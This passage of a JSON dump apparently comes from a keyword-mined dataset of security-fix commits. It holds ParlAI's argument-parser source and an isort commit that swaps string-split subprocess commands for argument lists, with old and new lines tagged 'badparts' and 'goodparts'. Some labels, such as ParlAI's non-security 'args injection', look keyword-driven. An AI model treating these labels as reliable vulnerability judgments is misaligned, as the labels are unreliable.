Inc.\n# All rights reserved.\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree. An additional grant\n# of patent rights can be found in the PATENTS file in the same directory.\n\"\"\"Provides an argument parser and a set of default command line options for\nusing the ParlAI package.\n\"\"\"\n\nimport argparse\nimport importlib\nimport os\nimport sys\nfrom parlai.core.agents import get_agent_module, get_task_module\nfrom parlai.tasks.tasks import ids_to_tasks\n\n\ndef str2bool(value):\n v = value.lower()\n if v in ('yes', 'true', 't', '1', 'y'):\n return True\n elif v in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef str2class(value):\n \"\"\"From import path string, returns the class specified. For example, the\n string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns\n .\n \"\"\"\n if ':' not in value:\n raise RuntimeError('Use a colon before the name of the class.')\n name = value.split(':')\n module = importlib.import_module(name[0])\n return getattr(module, name[1])\n\n\ndef class2str(value):\n \"\"\"Inverse of params.str2class().\"\"\"\n s = str(value)\n s = s[s.find('\\'') + 1:s.rfind('\\'')] # pull out import path\n s = ':'.join(s.rsplit('.', 1)) # replace last period with ':'\n return s\n\n\ndef modelzoo_path(datapath, path):\n \"\"\"If path starts with 'models', then we remap it to the model zoo path\n within the data directory (default is ParlAI/data/models).\n .\"\"\"\n if path is None:\n return None\n if not path.startswith('models:'):\n return path\n else:\n # Check if we need to download the model\n animal = path[7:path.rfind('/')].replace('/', '.')\n module_name = f\"parlai.zoo.{animal}\"\n print(module_name)\n try:\n my_module = importlib.import_module(module_name)\n download = getattr(my_module, 'download')\n download(datapath)\n except (ModuleNotFoundError, AttributeError):\n pass\n return os.path.join(datapath, 'models', path[7:])\n\n\nclass ParlaiParser(argparse.ArgumentParser):\n \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters\n for the ParlAI framework. More options can be added specific to other\n modules by passing this object and calling ``add_arg()`` or\n ``add_argument()`` on it.\n\n For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``.\n \"\"\"\n\n def __init__(self, add_parlai_args=True, add_model_args=False):\n \"\"\"Initializes the ParlAI argparser.\n - add_parlai_args (default True) initializes the default arguments for\n ParlAI package, including the data download paths and task arguments.\n - add_model_args (default False) initializes the default arguments for\n loading models, including initializing arguments from that model.\n \"\"\"\n super().__init__(description='ParlAI parser.', allow_abbrev=False,\n conflict_handler='resolve')\n self.register('type', 'bool', str2bool)\n self.register('type', 'class', str2class)\n self.parlai_home = (os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.realpath(__file__)))))\n os.environ['PARLAI_HOME'] = self.parlai_home\n\n self.add_arg = self.add_argument\n\n # remember which args were specified on the command line\n self.cli_args = sys.argv\n self.overridable = {}\n\n if add_parlai_args:\n self.add_parlai_args()\n if add_model_args:\n self.add_model_args()\n\n def add_parlai_data_path(self, argument_group=None):\n if argument_group is None:\n argument_group = self\n default_data_path = os.path.join(self.parlai_home, 'data')\n argument_group.add_argument(\n '-dp', '--datapath', default=default_data_path,\n help='path to datasets, defaults to {parlai_dir}/data')\n\n def add_mturk_args(self):\n mturk = self.add_argument_group('Mechanical Turk')\n default_log_path = os.path.join(self.parlai_home, 'logs', 'mturk')\n mturk.add_argument(\n '--mturk-log-path', default=default_log_path,\n help='path to MTurk logs, defaults to {parlai_dir}/logs/mturk')\n mturk.add_argument(\n '-t', '--task',\n help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"')\n mturk.add_argument(\n '-nc', '--num-conversations', default=1, type=int,\n help='number of conversations you want to create for this task')\n mturk.add_argument(\n '--unique', dest='unique_worker', default=False,\n action='store_true',\n help='enforce that no worker can work on your task twice')\n mturk.add_argument(\n '--unique-qual-name', dest='unique_qual_name',\n default=None, type=str,\n help='qualification name to use for uniqueness between HITs')\n mturk.add_argument(\n '-r', '--reward', default=0.05, type=float,\n help='reward for each worker for finishing the conversation, '\n 'in US dollars')\n mturk.add_argument(\n '--sandbox', dest='is_sandbox', action='store_true',\n help='submit the HITs to MTurk sandbox site')\n mturk.add_argument(\n '--live', dest='is_sandbox', action='store_false',\n help='submit the HITs to MTurk live site')\n mturk.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n mturk.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n mturk.add_argument(\n '--hard-block', dest='hard_block', action='store_true',\n default=False,\n help='Hard block disconnecting Turkers from all of your HITs')\n mturk.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n mturk.add_argument(\n '--block-qualification', dest='block_qualification', default='',\n help='Qualification to use for soft blocking users. By default '\n 'turkers are never blocked, though setting this will allow '\n 'you to filter out turkers that have disconnected too many '\n 'times on previous HITs where this qualification was set.')\n mturk.add_argument(\n '--count-complete', dest='count_complete',\n default=False, action='store_true',\n help='continue until the requested number of conversations are '\n 'completed rather than attempted')\n mturk.add_argument(\n '--allowed-conversations', dest='allowed_conversations',\n default=0, type=int,\n help='number of concurrent conversations that one mturk worker '\n 'is able to be involved in, 0 is unlimited')\n mturk.add_argument(\n '--max-connections', dest='max_connections',\n default=30, type=int,\n help='number of HITs that can be launched at the same time, 0 is '\n 'unlimited.'\n )\n mturk.add_argument(\n '--min-messages', dest='min_messages',\n default=0, type=int,\n help='number of messages required to be sent by MTurk agent when '\n 'considering whether to approve a HIT in the event of a '\n 'partner disconnect. I.e. if the number of messages '\n 'exceeds this number, the turker can submit the HIT.'\n )\n mturk.add_argument(\n '--local', dest='local', default=False, action='store_true',\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n mturk.set_defaults(is_sandbox=True)\n mturk.set_defaults(is_debug=False)\n mturk.set_defaults(verbose=False)\n\n def add_messenger_args(self):\n messenger = self.add_argument_group('Facebook Messenger')\n messenger.add_argument(\n '--debug', dest='is_debug', action='store_true',\n help='print and log all server interactions and messages')\n messenger.add_argument(\n '--verbose', dest='verbose', action='store_true',\n help='print all messages sent to and from Turkers')\n messenger.add_argument(\n '--log-level', dest='log_level', type=int, default=20,\n help='importance level for what to put into the logs. the lower '\n 'the level the more that gets logged. values are 0-50')\n messenger.add_argument(\n '--force-page-token', dest='force_page_token', action='store_true',\n help='override the page token stored in the cache for a new one')\n messenger.add_argument(\n '--password', dest='password', type=str, default=None,\n help='Require a password for entry to the bot')\n messenger.add_argument(\n '--local', dest='local', action='store_true', default=False,\n help='Run the server locally on this server rather than setting up'\n ' a heroku server.'\n )\n\n messenger.set_defaults(is_debug=False)\n messenger.set_defaults(verbose=False)\n\n def add_parlai_args(self, args=None):\n default_downloads_path = os.path.join(self.parlai_home, 'downloads')\n parlai = self.add_argument_group('Main ParlAI Arguments')\n parlai.add_argument(\n '-t', '--task',\n help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"')\n parlai.add_argument(\n '--download-path', default=default_downloads_path,\n help='path for non-data dependencies to store any needed files.'\n 'defaults to {parlai_dir}/downloads')\n parlai.add_argument(\n '-dt', '--datatype', default='train',\n choices=['train', 'train:stream', 'train:ordered',\n 'train:ordered:stream', 'train:stream:ordered',\n 'valid', 'valid:stream', 'test', 'test:stream'],\n help='choose from: train, train:ordered, valid, test. to stream '\n 'data add \":stream\" to any option (e.g., train:stream). '\n 'by default: train is random with replacement, '\n 'valid is ordered, test is ordered.')\n parlai.add_argument(\n '-im', '--image-mode', default='raw', type=str,\n help='image preprocessor to use. default is \"raw\". set to \"none\" '\n 'to skip image loading.')\n parlai.add_argument(\n '-nt', '--numthreads', default=1, type=int,\n help='number of threads. If batchsize set to 1, used for hogwild; '\n 'otherwise, used for number of threads in threadpool loading,'\n ' e.g. in vqa')\n parlai.add_argument(\n '--hide-labels', default=False, type='bool',\n help='default (False) moves labels in valid and test sets to the '\n 'eval_labels field. If True, they are hidden completely.')\n batch = self.add_argument_group('Batching Arguments')\n batch.add_argument(\n '-bs', '--batchsize', default=1, type=int,\n help='batch size for minibatch training schemes')\n batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool',\n help='If enabled (default True), create batches by '\n 'flattening all episodes to have exactly one '\n 'utterance exchange and then sorting all the '\n 'examples according to their length. This '\n 'dramatically reduces the amount of padding '\n 'present after examples have been parsed, '\n 'speeding up training.')\n batch.add_argument('-clen', '--context-length', default=-1, type=int,\n help='Number of past utterances to remember when '\n 'building flattened batches of data in multi-'\n 'example episodes.')\n batch.add_argument('-incl', '--include-labels',\n default=True, type='bool',\n help='Specifies whether or not to include labels '\n 'as past utterances when building flattened '\n 'batches of data in multi-example episodes.')\n self.add_parlai_data_path(parlai)\n\n def add_model_args(self):\n \"\"\"Add arguments related to models such as model files.\"\"\"\n model_args = self.add_argument_group('ParlAI Model Arguments')\n model_args.add_argument(\n '-m', '--model', default=None,\n help='the model class name. can match parlai/agents/ for '\n 'agents in that directory, or can provide a fully specified '\n 'module for `from X import Y` via `-m X:Y` '\n '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)')\n model_args.add_argument(\n '-mf', '--model-file', default=None,\n help='model file name for loading and saving models')\n model_args.add_argument(\n '--dict-class',\n help='the class of the dictionary agent uses')\n\n def add_model_subargs(self, model):\n \"\"\"Add arguments specific to a particular model.\"\"\"\n agent = get_agent_module(model)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n try:\n if hasattr(agent, 'dictionary_class'):\n s = class2str(agent.dictionary_class())\n self.set_defaults(dict_class=s)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_task_args(self, task):\n \"\"\"Add arguments specific to the specified task.\"\"\"\n for t in ids_to_tasks(task).split(','):\n agent = get_task_module(t)\n try:\n if hasattr(agent, 'add_cmdline_args'):\n agent.add_cmdline_args(self)\n except argparse.ArgumentError:\n # already added\n pass\n\n def add_image_args(self, image_mode):\n \"\"\"Add additional arguments for handling images.\"\"\"\n try:\n parlai = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n parlai.add_argument('--image-size', type=int, default=256,\n help='resizing dimension for images')\n parlai.add_argument('--image-cropsize', type=int, default=224,\n help='crop dimension for images')\n except argparse.ArgumentError:\n # already added\n pass\n\n\n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n parsed = vars(self.parse_known_args(nohelp=True)[0])\n\n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n if image_mode is not None and image_mode != 'none':\n self.add_image_args(image_mode)\n\n # find which task specified if any, and add its specific arguments\n task = parsed.get('task', None)\n if task is not None:\n self.add_task_args(task)\n evaltask = parsed.get('evaltask', None)\n if evaltask is not None:\n self.add_task_args(evaltask)\n\n # find which model specified if any, and add its specific arguments\n model = parsed.get('model', None)\n if model is not None:\n self.add_model_subargs(model)\n\n # reset parser-level defaults over any model-level defaults\n try:\n self.set_defaults(**self._defaults)\n except AttributeError:\n raise RuntimeError('Please file an issue on github that argparse '\n 'got an attribute error when parsing.')\n\n\n def parse_known_args(self, args=None, namespace=None, nohelp=False):\n \"\"\"Custom parse known args to ignore help flag.\"\"\"\n if nohelp:\n # ignore help\n args = sys.argv[1:] if args is None else args\n args = [a for a in args if a != '-h' and a != '--help']\n return super().parse_known_args(args, namespace)\n\n\n def parse_args(self, args=None, namespace=None, print_args=True):\n \"\"\"Parses the provided arguments and returns a dictionary of the\n ``args``. We specifically remove items with ``None`` as values in order\n to support the style ``opt.get(key, default)``, which would otherwise\n return ``None``.\n \"\"\"\n self.add_extra_args(args)\n self.args = super().parse_args(args=args)\n self.opt = vars(self.args)\n\n # custom post-parsing\n self.opt['parlai_home'] = self.parlai_home\n if 'batchsize' in self.opt and self.opt['batchsize'] <= 1:\n # hide batch options\n self.opt.pop('batch_sort', None)\n self.opt.pop('context_length', None)\n\n # set environment variables\n if self.opt.get('download_path'):\n os.environ['PARLAI_DOWNPATH'] = self.opt['download_path']\n if self.opt.get('datapath'):\n os.environ['PARLAI_DATAPATH'] = self.opt['datapath']\n\n # map filenames that start with 'models:' to point to the model zoo dir\n if self.opt.get('model_file') is not None:\n self.opt['model_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['model_file'])\n if self.opt.get('dict_file') is not None:\n self.opt['dict_file'] = modelzoo_path(self.opt.get('datapath'),\n self.opt['dict_file'])\n\n # set all arguments specified in commandline as overridable\n option_strings_dict = {}\n store_true = []\n store_false = []\n for group in self._action_groups:\n for a in group._group_actions:\n if hasattr(a, 'option_strings'):\n for option in a.option_strings:\n option_strings_dict[option] = a.dest\n if '_StoreTrueAction' in str(type(a)):\n store_true.append(option)\n elif '_StoreFalseAction' in str(type(a)):\n store_false.append(option)\n\n for i in range(len(self.cli_args)):\n if self.cli_args[i] in option_strings_dict:\n if self.cli_args[i] in store_true:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n True\n elif self.cli_args[i] in store_false:\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n False\n else:\n if i < (len(self.cli_args) - 1) and \\\n self.cli_args[i+1][0] != '-':\n self.overridable[option_strings_dict[self.cli_args[i]]] = \\\n self.cli_args[i+1]\n self.opt['override'] = self.overridable\n\n if print_args:\n self.print_args()\n\n return self.opt\n\n def print_args(self):\n \"\"\"Print out all the arguments in this parser.\"\"\"\n if not self.opt:\n self.parse_args(print_args=False)\n values = {}\n for key, value in self.opt.items():\n values[str(key)] = str(value)\n for group in self._action_groups:\n group_dict = {\n a.dest: getattr(self.args, a.dest, None)\n for a in group._group_actions\n }\n namespace = argparse.Namespace(**group_dict)\n count = 0\n for key in namespace.__dict__:\n if key in values:\n if count == 0:\n print('[ ' + group.title + ': ] ')\n count += 1\n print('[ ' + key + ': ' + values[key] + ' ]')\n\n def set_params(self, **kwargs):\n \"\"\"Set overridable kwargs.\"\"\"\n self.set_defaults(**kwargs)\n for k, v in kwargs.items():\n self.overridable[k] = v\n"}}, "msg": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters."}}, "https://github.com/timothycrosley/isort": {"1ab38f4f7840a3c19bf961a24630a992a8373a76": {"url": "https://api.github.com/repos/timothycrosley/isort/commits/1ab38f4f7840a3c19bf961a24630a992a8373a76", "html_url": "https://github.com/timothycrosley/isort/commit/1ab38f4f7840a3c19bf961a24630a992a8373a76", "message": "Simplify subprocess use with high level run API\n\nPer the Python docs, subprocess.run() is the preferred interface for\nrunning subprocess and replaces the older API (such as\nsubprocess.check_output())\n\nhttps://docs.python.org/3/library/subprocess.html\n\n> The recommended approach to invoking subprocesses is to use the run()\n> function for all use cases it can handle. For more advanced use cases,\n> the underlying Popen interface can be used directly.\n>\n>\n> The run() function was added in Python 3.5; if you need to retain\n> compatibility with older versions, see the Older high-level API\n> section.\n\nAllows for:\n\n- Return a str from get_output() to decode once instead of every line of\n the result.\n\n- Pass command arguments as a list of strings to ensure no possibility\n for unescaped shell injection.", "sha": "1ab38f4f7840a3c19bf961a24630a992a8373a76", "keyword": "command injection check", "diff": "diff --git a/isort/hooks.py b/isort/hooks.py\nindex a14493f..2e07527 100644\n--- a/isort/hooks.py\n+++ b/isort/hooks.py\n@@ -28,17 +28,18 @@\n from isort import SortImports\n \n \n-def get_output(command: str) -> bytes:\n+def get_output(command: List[str]) -> str:\n \"\"\"\n Run a command and return raw output\n \n :param str command: the command to run\n :returns: the stdout output of the command\n \"\"\"\n- return subprocess.check_output(command.split())\n+ result = subprocess.run(command, stdout=subprocess.PIPE, check=True)\n+ return result.stdout.decode()\n \n \n-def get_lines(command: str) -> List[str]:\n+def get_lines(command: List[str]) -> List[str]:\n \"\"\"\n Run a command and return lines of output\n \n@@ -46,7 +47,7 @@ def get_lines(command: str) -> List[str]:\n :returns: list of whitespace-stripped lines output by command\n \"\"\"\n stdout = get_output(command)\n- return [line.strip().decode() for line in stdout.splitlines()]\n+ return [line.strip() for line in stdout.splitlines()]\n \n \n def git_hook(strict=False, modify=False):\n@@ -64,19 +65,19 @@ def git_hook(strict=False, modify=False):\n \"\"\"\n \n # Get list of files modified and staged\n- diff_cmd = \"git diff-index --cached --name-only --diff-filter=ACMRTUXB HEAD\"\n+ diff_cmd = [\"git\", \"diff-index\", \"--cached\", \"--name-only\", \"--diff-filter=ACMRTUXB HEAD\"]\n files_modified = get_lines(diff_cmd)\n \n errors = 0\n for filename in files_modified:\n if filename.endswith('.py'):\n # Get the staged contents of the file\n- staged_cmd = \"git show :%s\" % filename\n+ staged_cmd = [\"git\", \"show\", \":%s\" % filename]\n staged_contents = get_output(staged_cmd)\n \n sort = SortImports(\n file_path=filename,\n- file_contents=staged_contents.decode(),\n+ file_contents=staged_contents,\n check=True\n )\n \n@@ -85,7 +86,7 @@ def git_hook(strict=False, modify=False):\n if modify:\n SortImports(\n file_path=filename,\n- file_contents=staged_contents.decode(),\n+ file_contents=staged_contents,\n check=False,\n )\n \ndiff --git a/test_isort.py b/test_isort.py\nindex bb5305a..ff061da 100644\n--- a/test_isort.py\n+++ b/test_isort.py\n@@ -24,9 +24,9 @@\n import os\n import os.path\n import posixpath\n+import subprocess\n import sys\n import sysconfig\n-from subprocess import check_output\n from tempfile import NamedTemporaryFile\n from typing import Any, Dict, List\n \n@@ -3230,11 +3230,15 @@ def test_settings_path_skip_issue_909(tmpdir):\n test_run_directory = os.getcwd()\n os.chdir(str(base_dir))\n with pytest.raises(Exception): # without the settings path provided: the command should not skip & identify errors\n- check_output(['isort', '--check-only'])\n- results = check_output(['isort', '--check-only', '--settings-path=conf/.isort.cfg'])\n+ subprocess.run(['isort', '--check-only'], check=True)\n+ result = subprocess.run(\n+ ['isort', '--check-only', '--settings-path=conf/.isort.cfg'],\n+ stdout=subprocess.PIPE,\n+ check=True\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped 2' in results.lower()\n+ assert b'skipped 2' in result.stdout.lower()\n \n \n def test_skip_paths_issue_938(tmpdir):\n@@ -3261,16 +3265,24 @@ def test_skip_paths_issue_938(tmpdir):\n \n test_run_directory = os.getcwd()\n os.chdir(str(base_dir))\n- results = check_output(['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'])\n+ result = subprocess.run(\n+ ['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'],\n+ stdout=subprocess.PIPE,\n+ check=True,\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped' not in results.lower()\n+ assert b'skipped' not in result.stdout.lower()\n \n os.chdir(str(base_dir))\n- results = check_output(['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'])\n+ result = subprocess.run(\n+ ['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'],\n+ stdout=subprocess.PIPE,\n+ check=True,\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped 1' in results.lower()\n+ assert b'skipped 1' in result.stdout.lower()\n \n \n def test_failing_file_check_916():\n", "files": {"/isort/hooks.py": {"changes": [{"diff": "\n from isort import SortImports\n \n \n-def get_output(command: str) -> bytes:\n+def get_output(command: List[str]) -> str:\n \"\"\"\n Run a command and return raw output\n \n :param str command: the command to run\n :returns: the stdout output of the command\n \"\"\"\n- return subprocess.check_output(command.split())\n+ result = subprocess.run(command, stdout=subprocess.PIPE, check=True)\n+ return result.stdout.decode()\n \n \n-def get_lines(command: str) -> List[str]:\n+def get_lines(command: List[str]) -> List[str]:\n \"\"\"\n Run a command and return lines of output\n \n", "add": 4, "remove": 3, "filename": "/isort/hooks.py", "badparts": ["def get_output(command: str) -> bytes:", " return subprocess.check_output(command.split())", "def get_lines(command: str) -> List[str]:"], "goodparts": ["def get_output(command: List[str]) -> str:", " result = subprocess.run(command, stdout=subprocess.PIPE, check=True)", " return result.stdout.decode()", "def get_lines(command: List[str]) -> List[str]:"]}, {"diff": "\n :returns: list of whitespace-stripped lines output by command\n \"\"\"\n stdout = get_output(command)\n- return [line.strip().decode() for line in stdout.splitlines()]\n+ return [line.strip() for line in stdout.splitlines()]\n \n \n def git_hook(strict=False, modify=False):\n", "add": 1, "remove": 1, "filename": "/isort/hooks.py", "badparts": [" return [line.strip().decode() for line in stdout.splitlines()]"], "goodparts": [" return [line.strip() for line in stdout.splitlines()]"]}, {"diff": "\n \"\"\"\n \n # Get list of files modified and staged\n- diff_cmd = \"git diff-index --cached --name-only --diff-filter=ACMRTUXB HEAD\"\n+ diff_cmd = [\"git\", \"diff-index\", \"--cached\", \"--name-only\", \"--diff-filter=ACMRTUXB HEAD\"]\n files_modified = get_lines(diff_cmd)\n \n errors = 0\n for filename in files_modified:\n if filename.endswith('.py'):\n # Get the staged contents of the file\n- staged_cmd = \"git show :%s\" % filename\n+ staged_cmd = [\"git\", \"show\", \":%s\" % filename]\n staged_contents = get_output(staged_cmd)\n \n sort = SortImports(\n file_path=filename,\n- file_contents=staged_contents.decode(),\n+ file_contents=staged_contents,\n check=True\n )\n \n", "add": 3, "remove": 3, "filename": "/isort/hooks.py", "badparts": [" diff_cmd = \"git diff-index --cached --name-only --diff-filter=ACMRTUXB HEAD\"", " staged_cmd = \"git show :%s\" % filename", " file_contents=staged_contents.decode(),"], "goodparts": [" diff_cmd = [\"git\", \"diff-index\", \"--cached\", \"--name-only\", \"--diff-filter=ACMRTUXB HEAD\"]", " staged_cmd = [\"git\", \"show\", \":%s\" % filename]", " file_contents=staged_contents,"]}, {"diff": "\n if modify:\n SortImports(\n file_path=filename,\n- file_contents=staged_contents.decode(),\n+ file_contents=staged_contents,\n check=False,\n )\n ", "add": 1, "remove": 1, "filename": "/isort/hooks.py", "badparts": [" file_contents=staged_contents.decode(),"], "goodparts": [" file_contents=staged_contents,"]}], "source": "\n\"\"\"isort.py. Defines a git hook to allow pre-commit warnings and errors about import order. usage: exit_code=git_hook(strict=True|False, modify=True|False) Copyright(C) 2015 Helen Sherwood-Taylor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files(the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \"\"\" import subprocess from typing import List from isort import SortImports def get_output(command: str) -> bytes: \"\"\" Run a command and return raw output :param str command: the command to run :returns: the stdout output of the command \"\"\" return subprocess.check_output(command.split()) def get_lines(command: str) -> List[str]: \"\"\" Run a command and return lines of output :param str command: the command to run :returns: list of whitespace-stripped lines output by command \"\"\" stdout=get_output(command) return[line.strip().decode() for line in stdout.splitlines()] def git_hook(strict=False, modify=False): \"\"\" Git pre-commit hook to check staged files for isort errors :param bool strict -if True, return number of errors on exit, causing the hook to fail. If False, return zero so it will just act as a warning. :param bool modify -if True, fix the sources if they are not sorted properly. If False, only report result without modifying anything. :return number of errors if in strict mode, 0 otherwise. \"\"\" diff_cmd=\"git diff-index --cached --name-only --diff-filter=ACMRTUXB HEAD\" files_modified=get_lines(diff_cmd) errors=0 for filename in files_modified: if filename.endswith('.py'): staged_cmd=\"git show:%s\" % filename staged_contents=get_output(staged_cmd) sort=SortImports( file_path=filename, file_contents=staged_contents.decode(), check=True ) if sort.incorrectly_sorted: errors +=1 if modify: SortImports( file_path=filename, file_contents=staged_contents.decode(), check=False, ) return errors if strict else 0 ", "sourceWithComments": "\"\"\"isort.py.\n\nDefines a git hook to allow pre-commit warnings and errors about import order.\n\nusage:\n exit_code = git_hook(strict=True|False, modify=True|False)\n\nCopyright (C) 2015 Helen Sherwood-Taylor\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and\nto permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or\nsubstantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\nTO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\nTHE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\nCONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n\n\"\"\"\nimport subprocess\nfrom typing import List\n\nfrom isort import SortImports\n\n\ndef get_output(command: str) -> bytes:\n \"\"\"\n Run a command and return raw output\n\n :param str command: the command to run\n :returns: the stdout output of the command\n \"\"\"\n return subprocess.check_output(command.split())\n\n\ndef get_lines(command: str) -> List[str]:\n \"\"\"\n Run a command and return lines of output\n\n :param str command: the command to run\n :returns: list of whitespace-stripped lines output by command\n \"\"\"\n stdout = get_output(command)\n return [line.strip().decode() for line in stdout.splitlines()]\n\n\ndef git_hook(strict=False, modify=False):\n \"\"\"\n Git pre-commit hook to check staged files for isort errors\n\n :param bool strict - if True, return number of errors on exit,\n causing the hook to fail. If False, return zero so it will\n just act as a warning.\n :param bool modify - if True, fix the sources if they are not\n sorted properly. If False, only report result without\n modifying anything.\n\n :return number of errors if in strict mode, 0 otherwise.\n \"\"\"\n\n # Get list of files modified and staged\n diff_cmd = \"git diff-index --cached --name-only --diff-filter=ACMRTUXB HEAD\"\n files_modified = get_lines(diff_cmd)\n\n errors = 0\n for filename in files_modified:\n if filename.endswith('.py'):\n # Get the staged contents of the file\n staged_cmd = \"git show :%s\" % filename\n staged_contents = get_output(staged_cmd)\n\n sort = SortImports(\n file_path=filename,\n file_contents=staged_contents.decode(),\n check=True\n )\n\n if sort.incorrectly_sorted:\n errors += 1\n if modify:\n SortImports(\n file_path=filename,\n file_contents=staged_contents.decode(),\n check=False,\n )\n\n return errors if strict else 0\n"}, "/test_isort.py": {"changes": [{"diff": "\n import os\n import os.path\n import posixpath\n+import subprocess\n import sys\n import sysconfig\n-from subprocess import check_output\n from tempfile import NamedTemporaryFile\n from typing import Any, Dict, List\n \n", "add": 1, "remove": 1, "filename": "/test_isort.py", "badparts": ["from subprocess import check_output"], "goodparts": ["import subprocess"]}, {"diff": "\n test_run_directory = os.getcwd()\n os.chdir(str(base_dir))\n with pytest.raises(Exception): # without the settings path provided: the command should not skip & identify errors\n- check_output(['isort', '--check-only'])\n- results = check_output(['isort', '--check-only', '--settings-path=conf/.isort.cfg'])\n+ subprocess.run(['isort', '--check-only'], check=True)\n+ result = subprocess.run(\n+ ['isort', '--check-only', '--settings-path=conf/.isort.cfg'],\n+ stdout=subprocess.PIPE,\n+ check=True\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped 2' in results.lower()\n+ assert b'skipped 2' in result.stdout.lower()\n \n \n def test_skip_paths_issue_938(tmpdir):\n", "add": 7, "remove": 3, "filename": "/test_isort.py", "badparts": [" check_output(['isort', '--check-only'])", " results = check_output(['isort', '--check-only', '--settings-path=conf/.isort.cfg'])", " assert b'skipped 2' in results.lower()"], "goodparts": [" subprocess.run(['isort', '--check-only'], check=True)", " result = subprocess.run(", " ['isort', '--check-only', '--settings-path=conf/.isort.cfg'],", " stdout=subprocess.PIPE,", " check=True", " )", " assert b'skipped 2' in result.stdout.lower()"]}, {"diff": "\n \n test_run_directory = os.getcwd()\n os.chdir(str(base_dir))\n- results = check_output(['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'])\n+ result = subprocess.run(\n+ ['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'],\n+ stdout=subprocess.PIPE,\n+ check=True,\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped' not in results.lower()\n+ assert b'skipped' not in result.stdout.lower()\n \n os.chdir(str(base_dir))\n- results = check_output(['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'])\n+ result = subprocess.run(\n+ ['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'],\n+ stdout=subprocess.PIPE,\n+ check=True,\n+ )\n os.chdir(str(test_run_directory))\n \n- assert b'skipped 1' in results.lower()\n+ assert b'skipped 1' in result.stdout.lower()\n \n \n def test_failing_file_check_916():\n", "add": 12, "remove": 4, "filename": "/test_isort.py", "badparts": [" results = check_output(['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'])", " assert b'skipped' not in results.lower()", " results = check_output(['isort', '--filter-files', '--settings-path=conf/.isort.cfg', 'dont_skip.py', 'migrations/file_glob_skip.py'])", " assert b'skipped 1' in results.lower()"], "goodparts": [" result = subprocess.run(", " ['isort', 'dont_skip.py', 'migrations/file_glob_skip.py'],", " stdout=subprocess.PIPE,", " check=True,", " )", " 